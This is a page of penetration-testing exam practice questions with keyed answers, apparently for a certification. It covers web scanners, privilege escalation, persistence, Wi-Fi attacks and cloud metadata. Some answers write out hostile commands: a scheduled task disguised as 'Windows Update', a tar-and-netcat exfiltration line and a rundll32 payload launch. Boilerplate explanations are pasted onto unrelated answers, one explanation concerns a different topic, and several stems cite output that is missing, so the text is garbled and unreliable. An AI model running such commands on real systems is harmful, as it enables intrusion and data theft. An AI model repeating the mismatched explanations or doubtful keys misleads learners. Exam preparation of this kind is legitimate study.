Page 4 of 17 · 334 total questions.
A penetration tester is attempting to discover vulnerabilities in a company's web application. Which of the following tools would most likely assist with testing the security of the web application?
The correct answer is D. Option D: Nikto This option keeps traffic private / properly secured as required.
During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge's information to create a duplicate for unauthorized entry. Which of the following best describes this action?
The correct answer is C. Option C: RFID cloning
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?
The correct answer is D. Option D: KRACK This option keeps traffic private / properly secured as required.
A penetration tester is researching a path to escalate privileges. While enumerating current user privileges, the tester observes the following output: Which of the following privileges should the tester use to achieve the goal?
The correct answer is A. Option A: SeImpersonatePrivilege
Explanation
Network address translation maps addresses between networks and commonly lets private hosts share public connectivity.
During a routine penetration test, the client's security team observes logging alerts that indicate several ID badges were reprinted after working hours without the appropriate authorization. Which of the following is the penetration tester most likely trying to do?
The correct answer is A. Option A: Obtain long-term, valid access to the facility. This option keeps traffic private / properly secured as required.
As part of an engagement, a penetration tester wants to maintain access to a compromised system after rebooting. Which of the following techniques would be best for the tester to use?
The correct answer is C. Option C: Creating a scheduled task
A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues the following command: nmap 10.10.1.0/24 Which of the following is the number of TCP ports that will be scanned?
The correct answer is B. Option B: 1,000
During an assessment, a penetration tester gains access to one of the internal hosts. Given the following command: schtasks /create /tn "Windows Update" /sc onlogon /tr “cmd.exe /c update.exe” Which of the following is the penetration tester trying to do with this code?
The correct answer is B. Option B: Establish persistence.
Given the following statements: Implement a web application firewall. Upgrade end-of-life operating systems. Implement a secure software development life cycle. In which of the following sections of a penetration test report would the above statements be found?
The correct answer is D. Option D: Recommendations This option keeps traffic private / properly secured as required.
Which of the following is within the scope of proper handling and most crucial when working on a penetration testing report?
The correct answer is D. Option D: Making the report clear for all objectives with a precise executive summary
A penetration tester aims to exploit a vulnerability in a wireless network that lacks proper encryption. The lack of proper encryption allows malicious content to infiltrate the network. Which of the following techniques would most likely achieve the goal?
The correct answer is A. Option A: Packet injection This option keeps traffic private / properly secured as required.
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
The correct answer is D. Option D: rundll32.exe c:\path\foo.dll,functName
A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access. Which of the following techniques should the tester use?
The correct answer is A. Option A: Credential stuffing
A penetration tester obtains the following output during an Nmap scan: Which of the following should be the next step for the tester?
The correct answer is B. Option B: Enumerate shares and search for vulnerabilities on the SMB service.
A penetration tester has been asked to conduct a blind web application test against a customer's corporate website. Which of the following tools would be best suited to perform this assessment?
The correct answer is A. Option A: ZAP
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy: Which of the following commands should the tester try next?
The correct answer is A. Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?
The correct answer is A. Option A: Creating registry keys
A penetration tester compromises a Windows OS endpoint that is joined to an Active Directory local environment. Which of the following tools should the tester use to manipulate authentication mechanisms to move laterally in the network?
The correct answer is A. Option A: Rubeus
A penetration tester identifies the following open ports during a network enumeration scan: Which of the following commands did the tester use to get this output?
The correct answer is D. Option D: nmap -sV -Pn -p- 10.10.10.10
In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?
The correct answer is D. Option D: Metadata services This option keeps traffic private / properly secured as required.
Showing questions 61–80 of 334 · Page 4 of 17